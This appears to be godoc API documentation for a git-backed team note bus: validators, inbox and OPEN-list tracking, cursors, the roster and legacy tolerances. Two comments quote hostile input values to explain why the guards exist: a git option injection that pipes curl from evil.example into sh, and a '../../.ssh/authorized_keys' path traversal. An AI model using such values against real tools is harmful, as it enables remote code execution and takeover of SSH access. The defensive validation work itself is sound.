UnaddressedReason reports whether a parsed note is addressed to nobody, and why.

The test is the one the inbox itself uses: the note's To and Cc, resolved against the roster, name NOBODY. Not "names somebody the roster does not know" -- a note to "Bo, Team" reaches Bo and is in her inbox, and telling her it went nowhere would be false. Only a note whose whole address resolves to an empty list has no reader.

func UnionLines

func UnionLines(ours, theirs string) string

UnionLines is the union this tool performs on its own append-only line files: ours in order, then the lines of theirs that ours does not already hold. It is a stable concatenation with identical lines dropped, which is what git's own `merge=union` driver does and is what these files mean -- an INDEX, a RECEIPTS and a .gitattributes are sets of lines whose order is history rather than structure.

Blank lines go, because every reader of these files (see records) already skips them and keeping them would make two spellings of one file.

func UnknownNames

func UnknownNames(unresolved []string) []string

UnknownNames is ResolveList's second return, sorted and deduplicated, for a refusal message that names each bad token once.

func ValidCommitHex

func ValidCommitHex(s string) error

ValidCommitHex holds the shape a CURSOR's commit may have: 7 to 64 lower-case hex digits, and nothing else.

It is the same guard as ValidGitArg and it exists for the same reason. A CURSOR file is an ordinary file on a shared bus; anyone who can push can write one, and its contents become a git argument. Requiring plain hex means a cursor cannot be an option to git, a revision expression, or a refname that resolves somewhere surprising -- it is a commit or it is a refusal. The range starts at 7 because a person editing the file by hand writes an abbreviation, and ends at 64 because that is a sha256 object name.

func ValidGitArg

func ValidGitArg(what, s string) error

ValidGitArg holds the shape a --remote or --branch may have: letters, digits, "-", "_", "/" and ".", and never a leading "-".

These two flags are pasted onto a `git fetch` and a `git push` command line. Without this, a --remote of "--upload-pack=curl evil.example|sh" is not a remote at all, it is an option to git, and the tool would run it. The charset is deliberately narrower than what git itself accepts for a refname -- a bus's remote is "origin" and its branch is "main" -- because the cost of being narrow is a refusal a person reads and the cost of being wide is a shell.

The leading-dash rule is the load-bearing half; the charset is the belt to its braces. Together they make `--end-of-options` unnecessary, which matters because that option reaches only git versions that have it, and a guard that silently does nothing on an older git is worse than no guard at all.

func ValidID

func ValidID(id string) error

ValidID is the id's shape: a lane slug, a hyphen, and twelve lower-case hex digits.

func ValidOpenID added in v0.15.0

func ValidOpenID(id string) error

ValidOpenID checks an id appearing in an OPEN entry.

Modern notes carry <sender>-<12 hex>, generated by AssignID. Historical notes written under earlier tools or conventions carry legacy IDs (such as "freddy-pr827-001", "bo-legacy-001", or "Bo-Legacy-001"), which are accepted here so that carry-history does not publish an OPEN state that subsequent incremental reads refuse.

func ValidRevision

func ValidRevision(s string) error

ValidRevision holds the shape a --since may have: a conservative revision charset with no leading dash, so a value this tool pastes onto a git command line is a revision and never an option. It is wider than ValidCommitHex because a person types `main~3` and narrower than what git accepts, on the same rule as --remote and --branch: the cost of being narrow is a refusal somebody reads.

func ValidSlug

func ValidSlug(slug string) error

ValidSlug holds the one shape the human half of a filename may have, and is what --slug is checked against.

It is not decoration. The slug is joined to the bus root and written into, so an override of "../../.ssh/authorized_keys" would put a note outside the bus entirely, and one of "a/b" would put it in a directory that is not a lane. The rule is the same charset as a lane's slug -- lower-case letters, digits and hyphens -- expressed as a ROUND TRIP through Slugify, so that the check and the generator cannot drift apart: an override is valid exactly when Slugify would have left it alone. A separator that Slugify would have dropped or folded is therefore a refusal rather than a quiet rewrite, because a caller who asked for one filename and got another has been lied to.

func ValidatePreparedArtifact added in v0.15.0

func ValidatePreparedArtifact(raw []byte, busDir string, c *Config, as string) (PreparedArtifact, Prepared, error)

ValidatePreparedArtifact parses and validates a raw JSON artifact against the current bus configuration, participant roster, and deterministic ID invariants.

func WithTrailer

func WithTrailer(message, what string) string

WithTrailer puts the trailer on a commit message, as its own paragraph at the end.

func WriteCursor

func WriteCursor(root, lane, commit string, open int, legacy string, now time.Time) error

WriteCursor replaces a lane's CURSOR. It is a REPLACE and not an append: a cursor is one value that moves, unlike RECEIPTS, which is a log. That is also why two benches of one line can conflict on it -- and why the settlement in conflict.go cannot union this file the way it unions RECEIPTS. Two cursors are two claims about how far one reader has read, so the FURTHER read wins: the one whose commit is a descendant of the other's, and failing that the later stamp. The OPEN list beside it is taken from the same side, because an open list is the list that belongs to a cursor.

The sha is written first and the stamp second, the other way round from a receipt line, because a cursor's subject is the commit and the time is annotation for a person, whereas a receipt is a log entry whose subject is when it was made. The third field is how many notes this run was carrying; see Cursor.Open for why a count of another file's contents lives here. The fourth field is the switch-day line this reader read under, written only when there is one: a cursor with no legacy line is three tokens, which is exactly what every cursor written before the line existed already is.

func WriteOpen

func WriteOpen(root, lane string, entries []OpenEntry) error

WriteOpen replaces a lane's OPEN list, in the order given. Callers keep the survivors in the order they were already in and append what is new, so the file's diff between two runs is the notes that actually opened and closed.

Nothing open still REMOVES the file rather than leaving the header alone in it: absent and nothing-open are one state on disk, which is the invariant the cursor's `open=` count is checked against.

Types

type AnswerKind

type AnswerKind int

AnswerKind is what closed a note for one reader: nothing, a reply, or a receipt.

The distinction is not bookkeeping. A receipt says HEARD and a reply says ANSWERED, and collapsing them loses the state the bus's people spend the most time in: a note read, acknowledged, and still owed an answer. Both leave the unanswered count, and only one of them leaves the listing.

const (
	// NotAnswered: nothing in this reader's lane names the note.
	NotAnswered AnswerKind = iota
	// AnsweredByReply: a note in this reader's lane carries it on a Re line.
	AnsweredByReply
	// HeardByReceipt: this reader's RECEIPTS records it, and nothing else does.
	HeardByReceipt
)

type Bus

type Bus struct {
	Root   string
	Config *Config

	Notes    []Note
	Receipts []Receipt
	// contains filtered or unexported fields
}

Bus is the whole bus, read once.

func ReadBus

func ReadBus(root string, c *Config) (*Bus, error)

ReadTable reads every lane the roster declares, plus every from-* directory on disk, so that a lane nobody owns is visible to check rather than invisible to everything.

A file that will not parse is NOT an error here: it becomes a Note with a ParseError, so that inbox keeps working on a bus with one bad file and check can name every bad file in one run instead of the first.

func (*Bus) AnswerFor

func (t *Bus) AnswerFor(n *Note, lane string) (by string, kind AnswerKind)

AnswerFor is AnsweredBy with the two kinds kept apart. A reply is looked for first: a note both receipted and replied to has been answered, and reporting it as merely heard would be the same collapse in the other direction.

func (*Bus) AnsweredBy

func (t *Bus) AnsweredBy(n *Note, lane string) (by string, answered bool)

AnsweredBy reports whether anything in lane answers the note, and what did.

THE ANSWERED RULE. A note is answered, for one reader, when a file in THAT READER'S OWN LANE carries the note's id on a Re line; or carries the note's repo-relative path on a Re line, which is how a note written before ids is answered and stays answered; or when that reader's RECEIPTS file records the note's id or path.

It measures whether a note has had a reply, never whether the work in it is finished -- the distinction the bus was already making, kept.

func (*Bus) Check

func (t *Bus) Check() []Problem

Check validates the whole bus and returns every problem it found, sorted. This is what CI on a bus runs, so it names every failure in one pass rather than the first.

What it asserts: every note parses; every header is valid against the roster; every note sits in the lane its From line names; every id is well formed, carries its own lane's slug, and is unique across the bus; every Re resolves to an id or to a path that exists; every receipt line parses and names something that exists; every from-* lane on disk has an owner in the roster; and a lane holds notes and its RECEIPTS file and nothing else.

What it deliberately does not assert: anything about a note's body. A body is prose, and prose is the part of the bus no tool has an opinion about.

Its findings about a note's HEADER can be TOLERATED for old notes rather than failed; see CheckOptions. Check itself tolerates nothing.

func (*Bus) CheckWith

func (t *Bus) CheckWith(o CheckOptions) []Problem

CheckWith is Check with a stated tolerance. See CheckOptions.

func (*Bus) Inbox

func (t *Bus) Inbox(me Participant, maxWords int) []InboxItem

Inbox lists the notes addressed to me that no reply of mine answers, newest first. A note my RECEIPTS records is still listed, marked Heard: heard is not answered.

Notes in my own lane are never in my inbox, whoever they are addressed to: the answered rule reads my lane for answers, and a note answering itself is not a state this reports.

func (*Bus) NoteByID

func (t *Bus) NoteByID(id string) (*Note, bool)

NoteByID and NoteByPath are the two ways a Re line or a receipt can name a note: by the id assigned at send, or by the repo-relative path, which is how every note written before this tool existed is named and stays named.

func (*Bus) NoteByPath

func (t *Bus) NoteByPath(path string) (*Note, bool)

func (*Bus) Resolve

func (t *Bus) Resolve(target string) (*Note, bool)

Resolve turns one Re or receipt target into the note it names.

func (*Bus) UnaddressedOnBus

func (t *Bus) UnaddressedOnBus() []Unaddressed

UnaddressedOnTable is every note on the bus that reaches no reader, which is what a full read reports. It is the same list for everybody, deliberately: the fact is about the note and not about who is looking.

func (*Bus) Unreadable

func (t *Bus) Unreadable(lane string) []*Note

Unreadable lists the notes on the bus that would not parse, outside the given lane.

It exists because inbox used to step over them in silence. A note somebody wrote, on the bus, addressed to a reader who is never told it is there, is the exact failure this tool was built to end -- and it is worse than a lost push, because nothing about it looks wrong. An unreadable note has no To line to test, so this cannot say whether it was addressed to the caller; it says the file is there and cannot be read, which is all anyone can honestly say about it, and check says the rest.

The caller's own lane is excluded on the same rule the inbox uses: a note of mine is my own business, and check names it.

type CheckOptions

type CheckOptions struct {
	// LegacyBefore, when non-zero, is the moment before which a finding about a note's
	// HEADER -- it will not parse, its From, To or Cc names somebody the roster does not
	// know, it has no Subject, its Kind is neither word, its Re names nothing -- is a WARN
	// rather than a FAIL.
	//
	// THE ADOPTION PROBLEM, which this exists for and nothing else. A bus that has been
	// running for months was written by people, by hand, in a shape no tool checked. Point
	// check at it and every note that predates the tool fails at once, so the first run is
	// a wall of red that nobody can act on and the check gets turned off -- which is worse
	// than not having it. The tolerance draws a line at the day the bus adopted the
	// tool: everything after it is held to the rule, everything before it is reported and
	// forgiven.
	//
	// It is a DATE and not a switch, so the forgiven set can only shrink. What it forgives
	// is a note's HEADER and nothing else, and the width of that was measured rather than
	// argued: a dry run over a real bus with the line at its adoption day
	// still failed 163 times -- 109 missing Subject lines, 47 To, From and Cc lines naming
	// people the roster did not yet hold, and a few notes that would not parse at all --
	// which is the wall of red the tolerance exists to prevent. A note in the wrong lane, a
	// malformed or duplicated id, a broken receipt line, an unowned lane and a stray file
	// all still FAIL at any date, because none of THOSE is a thing a bus's history made
	// unavoidable: they are facts about where a file sits, not about how it was written.
	//
	// A note whose date cannot be read AT ALL -- no parseable Date line and no UTC minute
	// in its filename -- is never tolerated, because there is nothing to compare. That is
	// the honest answer and not an oversight: a file that cannot say when it was written
	// cannot claim to predate anything.
	LegacyBefore time.Time
}

CheckOptions is what a check run tolerates. The zero value tolerates nothing, which is what CI on a bus that has only ever been written by this tool should use.

type CheckStats

type CheckStats struct{ Notes, Lanes, Receipts int }

CheckStats is what a run looked at, for the OK line. A check that passed over two files and one that passed over the whole bus are not the same run, and the line says which.

type Config

type Config struct {
	Participants []Participant `json:"participants"`
	Groups       []Group       `json:"groups,omitempty"`
	// contains filtered or unexported fields
}

Config is the whole roster.

func LoadConfig

func LoadConfig(busDir string) (*Config, error)

LoadConfig reads and validates the roster at <bus>/participants.json.

Decoding is strict: an unknown field is an error rather than a silently ignored line, because the failure mode this guards is a roster whose "alias" key was typed "aliass" and whose owner believed a name was known.

func (*Config) KnownNames

func (c *Config) KnownNames() []string

KnownNames lists every name, alias and group the roster knows, for a refusal that tells the caller what it could have said instead.

func (*Config) LaneOwner

func (c *Config) LaneOwner(lane string) (Participant, bool)

LaneOwner answers which participant owns a lane directory, so a note found on disk can be attributed to the lane it sits in rather than to the name it claims in its own From line.

func (*Config) Lanes

func (c *Config) Lanes() []string

Lanes lists every lane directory the roster declares, sorted.

func (*Config) Lookup

func (c *Config) Lookup(name string) (Participant, bool)

Lookup resolves one name or alias, exactly, to a participant. It is the strict form: no prefix matching, no parentheticals. Used for --as, where the caller is naming themselves and a near miss should be refused rather than guessed at.

func (*Config) ResolveList

func (c *Config) ResolveList(line string) (names []string, unresolved []string)

ResolveList resolves one address line into canonical participant names, in the order they were first named, plus the tokens it could not resolve. Duplicates collapse: a person named directly and again through a group is one recipient.

func (*Config) ResolveOne

func (c *Config) ResolveOne(line string) (Participant, bool)

ResolveOne resolves a From line to the single participant that wrote it. A From line naming two people is not a sender, and is refused rather than resolved to the first.

func (*Config) Senders

func (c *Config) Senders() []string

Senders lists every participant that has a lane, by name.

type ConflictError

type ConflictError struct {
	// Reason is the one line, already free of line breaks.
	Reason string
	// Output is git's own text, verbatim.
	Output string
}

ConflictError is a refusal whose one actionable line and whose git transcript are separate values.

THE FAILURE IT CLOSES: `SEND FAIL` used to carry git's whole rebase transcript inline, rendered through the one-line escape, so a person got forty lines of git as one line of `\x0d\x0a` and could read none of it. The one-line guarantee is about the EVENT line, and a transcript is not an event: the line above says what happened and what to do, escaped like every other, and the transcript follows it on stderr as git wrote it.

func (*ConflictError) Error

func (e *ConflictError) Error() string

func (*ConflictError) Transcript

func (e *ConflictError) Transcript() string

type Cursor

type Cursor struct {
	// Commit is the commit the reader last read to. Empty when the lane has no CURSOR,
	// which is the first run and is not an error: a reader with no cursor reads the whole
	// bus once and has one from then on.
	Commit string
	// Stamp is when they read it, for a person reading the file. Nothing computes from it.
	Stamp string
	// Open is how many notes the run that wrote this cursor was carrying, and Counted says
	// whether the file carried the field at all.
	//
	// It is the ONE thing in this file that another file's absence is checked against, and
	// it is here because deleting OPEN alone is otherwise silent. An empty OPEN list is
	// REMOVED rather than left zero-length -- a reader with nothing open has no OPEN file --
	// so "absent" and "nothing open" are the same state on disk and a reader who deleted
	// OPEN while their cursor stayed valid would simply be told open=0 with the notes they
	// owed gone. With the count in the cursor the two states are different: a cursor that
	// says it was carrying two notes, beside no OPEN file, is a refusal naming
	// `--full --advance`. A cursor written before this field has Counted false and is
	// trusted, because there is nothing to compare.
	Open    int
	Counted bool

	// Legacy is the switch-day line this reader read under, stored EXACTLY as it was given
	// -- a UTC date, or an RFC 3339 UTC instant: notes dated before it are not carried on
	// the open list. It is "" on a cursor written with no line, which is every cursor
	// written before this field existed.
	//
	// It is IN THE CURSOR rather than in a flag the reader must remember because a line
	// that has to be retyped on every run is a line that will be forgotten on one, and the
	// run that forgets it opens six hundred notes the reader had settled. The cursor is
	// already the reader's place to stand; the date they are standing after belongs beside
	// it, on the bus, where everybody can see which notes they have taken as read.
	Legacy string
}

Cursor is one reader's place to stand.

func ReadCursor

func ReadCursor(root, lane string) (Cursor, error)

ReadCursor reads a lane's CURSOR. A lane with no CURSOR file returns the zero Cursor and no error: that is a reader who has not read yet, not a bus that is broken.

The commit is required to be plain hex HERE, at the read, rather than trusted because this tool wrote it. The value goes on to become a git argument, and a CURSOR file is an ordinary file on a shared bus that anybody with push access can edit; a cursor of `--upload-pack=...` is not a commit, it is an option to git, and this is the place that is cheapest to say so.

func (Cursor) LegacyBefore

func (c Cursor) LegacyBefore() time.Time

LegacyBefore is the cursor's switch-day line as a moment, or the zero time when it has none. It parses what ReadCursor already validated, so a caller that has a Cursor never has to know the layout.

func (Cursor) LegacyLine added in v0.10.1

func (c Cursor) LegacyLine() LegacyLine

LegacyLine is the cursor's switch-day line as a run reads under it: the moment, and the text the run that drew it gave. The TEXT is carried and not re-rendered so that a line drawn as a date stays a date and one drawn as an instant stays an instant, in the cursor and on the `INBOX LEGACY` line -- a reader checking which notes they took as read is checking against what they typed.

type Group

type Group struct {
	Name    string   `json:"name"`
	Members []string `json:"members"`
}

Group is one name that stands for several participants, so that a bus which really does address "Everybody on the bus" can say so and still be checkable. A group is addressable and is never a sender.

type Header struct {
	From    string
	To      string
	Cc      string
	Date    string
	ID      string
	Re      []string
	Subject string
	Kind    string
	// contains filtered or unexported fields
}

Header is a note's header, with the author's own text preserved. Only Date and Id are ever written by this tool; From, To, Cc, Re and Subject are the author's words and are round-tripped verbatim, because "Ada (day shift, the west host, the shared account)" carries information the roster does not hold.

func (Header) LineOf

func (h Header) LineOf(key string) int

LineOf reports the 1-based line a key was read at, or 0.

func (Header) Problems added in v0.10.1

func (h Header) Problems(c *Config) []error

Problems is Validate with every finding collected rather than the first returned, in the order Validate would have returned them. It is what SEND refuses on: a draft with an unknown recipient AND no subject is two mistakes, and a person who has to run the tool again to be told the second has been made to do the tool's counting.

func (Header) Recipients

func (h Header) Recipients(c *Config) (to, cc []string)

Recipients is every name in To and Cc, resolved, with which line named them.

func (Header) Validate

func (h Header) Validate(c *Config) error

Validate holds the rules every note obeys, whether it is being sent now or was written by hand a week ago. It does NOT check the Id line: a note without one is legacy and is addressed by path, which is the whole of the compatibility promise.

type Identity

type Identity struct {
	Name  string
	Email string
}

Identity is the git identity a commit is made under. It is passed with `git -c` on the commit invocation and is never written to any config file, because a tool that edited the caller's global git identity to send a note would be a worse bug than the one it fixes.

type InboxItem

type InboxItem struct {
	Note    *Note
	From    string // the note's resolved sender name
	Address string // "to" or "cc"
	Receipt bool   // true when the note only acknowledges
	Heard   bool   // true when my RECEIPTS records it and nothing of mine replies
}

InboxItem is one open note addressed to the caller.

type InboxResult

type InboxResult struct {
	// Open is BOTH what to print and what to write back: the survivors, in the order they
	// were already in, then what this run added. One list and not two, because an entry
	// carries its own display line now -- a second list would be the same rows in a
	// different order, and two spellings of one thing drift.
	Open []OpenEntry
	// Unreadable is the files in the change set, and the unreadable entries on the open
	// list, that would not parse THIS RUN, with the reason. The reason is not stored in
	// OPEN -- an entry records only that it is unreadable -- so it is carried out here for
	// the run that produced it.
	Unreadable []*Note
	// Unaddressed is the notes this run saw that reach no reader at all. On an incremental
	// run it is the reader's OWN lane and nothing else -- the one place the reader can fix
	// one -- and a full run fills it with every such note on the bus. See unaddressed.go.
	Unaddressed []Unaddressed
	// New is how many notes this run added to the open list.
	New int
	// Fresh is those notes THEMSELVES, in listing order: the entries this run put on the
	// open list that were not on it before, and nothing that was already there.
	//
	// It exists because a default run used to print no note at all. The listing was a
	// choice between one summary line and the WHOLE carried list, so a reader who wanted to
	// see the note that had just arrived had to ask for every note they had ever failed to
	// answer -- which is how a line on a small-context model came to re-read seventy-four
	// carried notes on every poll to find the one new one. News and backlog are different
	// questions, and this is the answer to the first of them.
	Fresh []OpenEntry
	// Legacy is how many notes this run left off the open list because they are dated
	// before the switch-day line. They are counted and never listed one by one; see
	// LegacyLine.
	Legacy int
	// LegacyUnreadable is the same for the files that would not PARSE and are dated
	// before the line: left off the open list, left out of Unreadable, and counted here.
	// It is a second number rather than part of Legacy because the two are different
	// facts about the bus -- a note taken as read, and a file nobody can read -- and a
	// reader deciding whether to go and look at the old lane needs to know which.
	LegacyUnreadable int
}

InboxResult is one inbox run, incremental or full.

func InboxSince

func InboxSince(root string, c *Config, me Participant, changed []string, open []OpenEntry, maxWords int, legacy LegacyLine) (InboxResult, error)

InboxSince computes a reader's listing from a change set and their OPEN list, and never touches a note outside the two.

The rule it implements, stated as a rule: a note is OPEN for me from the moment I am shown it until something of mine answers it -- a reply in my lane carrying its id or its path on a Re line, or a line in my RECEIPTS naming it. "Shown" is the load-bearing word. The cursor advances past a note the run after it arrives, so without a memory the note would fall out of every later listing while still being owed an answer; the OPEN list IS that memory, and it is the reason the cursor is allowed to move at all.

func (InboxResult) Counts

func (r InboxResult) Counts() (notes, receipts, heard int)

Notes, Receipts and Heard are the three counts on the OK line, taken from the open list rather than from a second walk. A heard note is in neither of the first two: I have answered the sender's question about whether it arrived, and the open count is what is still waiting on me.

type Index

type Index struct {
	Entries []IndexEntry
	// contains filtered or unexported fields
}

Index is every lane's INDEX, read together: the bus's catalogue.

It is what a resolution over ids costs instead of a walk. Reading it is one small file per lane and one line per note SENT BY THIS TOOL -- no note is parsed, no body is read, and a lane with no INDEX simply contributes nothing rather than failing.

func ReadIndex

func ReadIndex(root string, c *Config) (*Index, error)

ReadIndex reads the INDEX of every lane the roster declares.

func (*Index) ByID

func (i *Index) ByID(id string) (*IndexEntry, bool)

ByID and ByPath are the two lookups a Re line or a receipt needs.

func (*Index) ByPath

func (i *Index) ByPath(path string) (*IndexEntry, bool)

type IndexEntry

type IndexEntry struct {
	ID   string
	Path string
	Date string   // RFC 3339 in UTC, or "" when the note's Date line will not parse
	To   []string // the RESOLVED recipients, the same names the id was hashed over
	Re   []string // the note's Re targets, verbatim
	Lane string
	Line int
}

IndexEntry is one line of a lane's INDEX: everything about a note that a reader needs in order to resolve a thread or refuse a duplicate id WITHOUT opening the note.

func IndexEntryFor

func IndexEntryFor(c *Config, n Note) IndexEntry

IndexEntryFor builds the INDEX record for a note that has an id.

func ReadLaneIndex

func ReadLaneIndex(root, lane string) ([]IndexEntry, error)

ReadLaneIndex reads one lane's INDEX. A lane with no INDEX has none, which is a bus that predates this file and is exactly what `check --full --rebuild-index` is for.

type LegacyLine

type LegacyLine struct {
	// Before is the moment, or the zero time for no line at all.
	Before time.Time
	// Text is the line EXACTLY as it was given -- the date, or the instant -- which is what
	// a cursor records and what `INBOX LEGACY before=` echoes. It is carried rather than
	// rendered from Before because a line drawn to the second and read back as a day is a
	// different line, and because what a reader checks their open list against is what they
	// typed. It is "" when there is no line.
	Text string
}

LegacyLine is the switch-day line: the MOMENT before which a note is not carried on this reader's open list, given either as a UTC date -- which is midnight at its start -- or as an RFC 3339 UTC instant.

THE PROBLEM IT SOLVES, from the day a real bus adopted this tool. The first `inbox --as Ada --full` reported 657 notes open -- 623 notes and 34 receipts, most of them from months before anybody could have receipted them with this -- and because the open list is what makes the cursor able to move, every run after it reported the same 657, forever, until each one was answered or receipted one at a time. Nobody was going to do that, and a listing nobody reads is a listing that hides the one new note in it.

So a line is drawn on a date: a note dated before it is not carried, is not listed, and is counted on ONE line so that the reader knows exactly how much they took as read. Nothing is deleted, nothing is marked answered, and no note anywhere on the bus is changed -- the notes are still there, still readable, still findable by `check --full` and by opening the lane in a browser. What the line changes is one reader's own open list, which is the one thing on the bus that was theirs alone anyway.

A note whose date cannot be read AT ALL -- no parseable Date line, and no day at the front of its filename either -- is never legacy, on the same rule the check tolerance uses: a file that cannot say when it was written cannot claim to predate anything, and the safe direction for a note nobody can date is to carry it. See Note.legacyDay for what counts as saying it.

THE LINE REACHES THE UNREADABLE FILES TOO, which it did not at first, and the cost of that showed up on a live inbox: fifteen `INBOX UNREADABLE` lines on every poll, all of them notes written by hand days before the switch -- a markdown heading first, a `**To**`, a `Branch:` key, a sentence where the header goes. They are history, they will never be fixed, and naming them once per run buries the inbox they are printed above. So a file that will not parse and is dated behind the line is left off the open list and counted, exactly like a note that is. What it is NOT is silent about anything new: a file dated on or after the line, and a file whose date cannot be read at all, is still named on every run, and `--full` still lists every unreadable file on the bus whatever its date.

func NewLegacyLine added in v0.10.1

func NewLegacyLine(value string) (LegacyLine, error)

NewLegacyLine reads a switch-day line in either shape and keeps the text it was given.

type Note

type Note struct {
	// Path is repo-relative and slash-separated: the form a Re line uses.
	Path   string
	Lane   string
	Header Header
	Body   string

	// Parse is set, and everything above it but Path and Lane is empty, when the file
	// would not parse. A bus with one bad file stays usable: check names it, and every
	// other rule steps over it rather than guessing at what it meant.
	Parse *ParseError
}

Note is one parsed note file.

func ParseNote

func ParseNote(path, text string) (Note, error)

ParseNote parses a note's text. The header is every line before the first blank line; the body is everything after it.

TWO TOLERANCES, for the two shapes a real bus writes that a strict reader loses. Both are enumerated here, in SPEC.md, and pinned by a test; anything else is still a refusal.

  1. A markdown HEADING before the header. A note whose file opens `# The subject` and then, after a blank line, `From:` is the commonest unreadable shape on a bus people also read in a browser. The heading and the blank lines under it are skipped and the header is read from the first line after them. Line numbers still count from the top of the FILE, so a refusal names the line a person would open to.
  2. A BULLET on each header line: `- From:`, `- To:`. One writer's notes are markdown lists, and the bullet is presentation. A leading "- " is dropped from a header line before the key is read.

A note whose first line is prose still fails, and should: there is no honest way to tell a From line from a sentence that happens to hold a colon.

WHAT THE REFUSALS SAY. A read of a real bus found three shapes behind nearly every unreadable note, and a refusal that only says a file will not parse leaves the writer to guess which. So each of the three names its repair: a key in markdown bold (`**To**:`) is told that headers are plain `Key: value`; an unknown key (`Branch:`) is given the eight keys there are; and a body sentence standing in the header position is told the header ends at the first blank line. The failure is unchanged -- these are the same refusals with the fix in them.

func ParseNoteAll added in v0.10.1

func ParseNoteAll(path, text string) (Note, []error)

ParseNoteAll is ParseNote with every problem in the header collected rather than the first returned. It exists for SEND, which is a person at a terminal with a draft in front of them: a refusal that names one of three mistakes costs them three runs to find out about the other two. Every reader on the bus still takes the first, through ParseNote, because a file that will not parse is a file that will not parse and a listing of a hundred of them wants one line each.

The problems are in the order the lines are read, so the first is the one ParseNote would have returned and the two cannot say different things about the same file.

func (Note) Render

func (n Note) Render() string

Render writes a note back out in the canonical header order: From, To, Cc, Date, Id, Re..., Subject, a blank line, the body. The author's own text is preserved in every line but Date and Id.

func (Note) When

func (n Note) When() time.Time

When is the note's moment, for ordering. The Date line is preferred because it is what the author wrote; the filename's UTC minute is the fallback, because a legacy note may carry a Date this tool cannot parse and still sort correctly by its name.

type OpenEntry

type OpenEntry struct {
	// ID is the note's id, or "" for a legacy note, which is addressed by path.
	ID string
	// Kind is what the note is, decided when it went open.
	Kind OpenKind
	// Heard is set when this reader's RECEIPTS records the note. Heard is not answered: a
	// heard note stays on the list and leaves the open count, and the flag lives HERE so
	// that RECEIPTS does not have to be read whole on a run that changed nothing.
	Heard bool
	// From is the resolved sender's name, Addr is "to" or "cc", Date is the note's moment
	// as RFC 3339 in UTC (or "" when it has none), and Subject is its subject. All four are
	// for the listing and nothing computes from them but the switch-day line, which reads
	// Date. They are "" on an unreadable entry, which has no header to read them from.
	From    string
	Addr    string
	Date    string
	Subject string
	// Path is repo-relative and is always present. It is the only field an unreadable entry
	// has, and it is what every entry is ultimately identified by.
	Path string
}

OpenEntry is one note a reader has been shown and has not yet answered -- and, since OPEN v2, the whole of the line that note prints as.

WHY THE ENTRY CARRIES THE DISPLAY AND NOT JUST THE PATH. Dana's requirement, verbatim: "O(new + open) is not great. Can we make it O(new)." Under v1 an entry was `<id> <path>`, so every run re-opened and re-parsed every open note -- to print its sender, its date and its subject, and to decide whether it was a receipt. A reader carrying five hundred notes paid five hundred parses to be told nothing new. The fix is to write the display line ONCE, when the note goes open, and to print later runs' open list from this file: a read is then the size of what is NEW in parses, plus the bytes of one small file.

What that costs, named rather than discovered: these fields are a SNAPSHOT taken when the note went open. A note whose subject is edited afterwards keeps the subject it had when it arrived, until an edit puts it back in the change set (which re-parses it) or a `--full` read rewrites the list. That is the same direction every other cache here fails in: a reader sees what they were shown, never less than they are owed.

func MatchOpenSubject added in v0.10.3

func MatchOpenSubject(open []OpenEntry, target string) []OpenEntry

MatchOpenSubject is every entry on an open list whose subject the given Re target names, newest first.

Newest FIRST because that is the one a sender means. Two notes with one subject on a reader's open list is a thread somebody re-raised, and the turn being answered is the last one; the older is named by id if it is meant. The caller closes the first and says so, with the count, so the choice is visible and correctable rather than silent.

func OpenFromFull

func OpenFromFull(items []InboxItem, unreadable []*Note) []OpenEntry

OpenFromFull is the OPEN list a --full run implies: every note the full walk found still open for this reader, plus every file it could not read. It is how a reader adopts the cursor on a bus that already exists, how `--full --advance` repairs an OPEN list that drifted, and the one place a heard flag is rebuilt from RECEIPTS rather than carried.

THE UNREADABLE FILES ARE CARRIED, and until this was written they were not. A `--full` read named them and then wrote an open list without them, so the next incremental run -- which sees only what changed -- never mentioned them again. A file somebody wrote, on the bus, that its reader is told about exactly once and then never again is the same failure as a lost push with a slower fuse. They go on the list, they are re-checked, and they come off it when they parse or are receipted.

func ReadOpen

func ReadOpen(root, lane string) ([]OpenEntry, error)

ReadOpen reads a lane's OPEN list. A lane with no OPEN file has nothing open.

func SortForListing

func SortForListing(entries []OpenEntry) []OpenEntry

SortForListing puts an open list in the order it is PRINTED in -- newest first, path descending to break a tie -- on a copy of the caller's slice, because the order the list is WRITTEN in is the order its entries arrived in and a run must not reshuffle a file to print it.

func SplitLegacy

func SplitLegacy(entries []OpenEntry, legacy LegacyLine) (keep []OpenEntry, notes, unreadable int)

SplitLegacy is the switch-day line applied to an open list: the entries that stay, and how many were left off. Both reads go through it -- the incremental one over what it kept and added, the full one over what the walk found -- so the two cannot draw the line differently, which matters most on the one run where it is drawn, because a `--full` read is what writes the open list every later run inherits.

The two counts come back apart, `notes` and `unreadable`, because they are printed apart: a note behind the line is one the reader has taken as read, and a FILE behind the line is one nobody could read in the first place. Reported as one number they would say neither.

func (OpenEntry) Target

func (e OpenEntry) Target() string

Target is how this note is named on a Re line or in a RECEIPTS file: its id when it has one, its path when it does not.

type OpenKind

type OpenKind string

OpenKind is what one open entry IS, decided once when the note went open and recorded, so that a later run can print the entry without opening the note again.

const (
	// OpenNote is a note that carries something: a question, a finding, a request.
	OpenNote OpenKind = "note"
	// OpenReceipt is a bare acknowledgement, by the receipt heuristic or by a Kind line.
	OpenReceipt OpenKind = "receipt"
	// OpenUnreadable is a file on the bus this tool could not parse. It is CARRIED
	// rather than dropped: see the comment on OpenEntry.
	OpenUnreadable OpenKind = "unreadable"
)

type ParseError

type ParseError struct{ Err error }

ParseError is set on a note whose header would not parse. Its body and header are then empty and every other rule skips it, because there is nothing honest to say about them.

func (*ParseError) Error

func (p *ParseError) Error() string

type Participant

type Participant struct {
	Name     string   `json:"name"`
	Lane     string   `json:"lane,omitempty"`
	Aliases  []string `json:"aliases,omitempty"`
	GitName  string   `json:"git_name,omitempty"`
	GitEmail string   `json:"git_email,omitempty"`
}

Participant is one name on the bus.

Lane may be empty. A person who is written TO and never writes -- Dana on the bus this was built for -- is a participant with no lane: addressable, and refused as a sender, because a sender with no lane has nowhere for a note to go.

func (Participant) Slug

func (p Participant) Slug() string

Slug is the lane's own name without the from- prefix, and the first half of every id this participant is assigned. Empty for a participant with no lane.

type Prepared

type Prepared struct {
	Note   Note
	Sender Participant
	Path   string // repo-relative
	// Index is the line this note adds to its lane's catalogue, so that a later reader can
	// resolve the thread it starts, and a later send can refuse its id as taken, without
	// opening a single note.
	Index   IndexEntry
	Message string // the commit message

	// Notices is what the send-side tolerances did to the draft on the way here, one
	// sentence each, in the order they were done. A tolerance nobody is told about is a
	// tool quietly rewriting what a person wrote, so send prints every one of these.
	Notices []string
}

Prepared is a note that has passed every check and is ready to be written.

func Prepare

func Prepare(t *Bus, text string, now time.Time, slugOverride string) (Prepared, error)

